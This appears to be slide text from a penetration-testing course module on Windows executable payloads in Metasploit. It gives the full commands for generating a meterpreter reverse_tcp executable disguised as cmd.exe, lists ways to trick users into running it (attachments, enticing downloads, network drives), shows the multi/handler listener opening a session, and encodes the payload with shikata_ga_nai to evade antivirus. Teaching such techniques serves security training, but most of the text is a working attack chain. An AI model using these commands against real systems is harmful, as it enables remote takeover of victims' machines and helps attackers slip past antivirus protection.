Module 37
(Windows Executable Payloads)

• At the end of this Module, you'll know a little bit about how to generate executable payloads with msfpayload. You'll also know how to use the multihandler to get responses from payloads. Finally, you'll also have seen how to use msfencode to generate obfuscated malware.
Using msfpayload

• You can use msfpayload to generate a malicious executable that will start up a meterpreter on a windows host.

• If you can arrange for someone to execute the program (via social engineering), a meterpreter session will start up on your attack host when it executes.
Running msfpayload

- Show help banner
  msfpayload -h

- List available exploits
  msfpayload -l

- Make an exploit
  msfpayload windows/meterpreter/reverse_tcp
  LHOST=192.168.164.149 X >cmd.exe
Getting the Payload Downloaded and Executed

• The options are limitless.
• Send as an attachment
• Provide as an enticing executable from a website the user will visit.
• Make available via a network mounted drive
• ...
Arranging a listener

- Use the multihandler exploit for this
  ```
  use exploit/multi/handler
  ```
- Then set the payload to handle
  ```
  set payload windows/meterpreter/reverse_tcp
  ```
- Set options
  ```
  set LHOST 192.168.164.149
  This is where you'll be listening (maybe a different machine)
  ```
- Run the exploit
  ```
  exploit
  ```
What do We See?

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.164.149:4444
[*] Starting the payload handler..

• Now run the payload on the target and we see this:
  [*] Sending stage (752128 bytes) to 192.168.164.128

meterpreter >
How obvious are we?

• The raw exploits are not very stealthy.
• Check out what happens if you try to put the cmd.exe we just constructed on your desktop. (If nothing happens, you need to crank up your virus protection settings.)
• Metasploit provides an encoder to obfuscate its malware payloads.

   msfencode -h
What Encoders Can msfencode Use?

- Find out with
  msfencode -l

- Get information about a particular encoder
  msfencode -n -e x86/shikata_ga_nai

- We can use the default encoder
  
  ```
  msfpayload windows/meterpreter/reverse_tcp
  LHOST=192.168.164.149 X | msfencode -t exe -x cmd.exe -o cmd2.exe
  ```

- Or we can try to do better
  
  ```
  ... msfencode -t exe -x cmd.exe
  -e x86/shikata_ga_nai -o cmd3.exe
  ```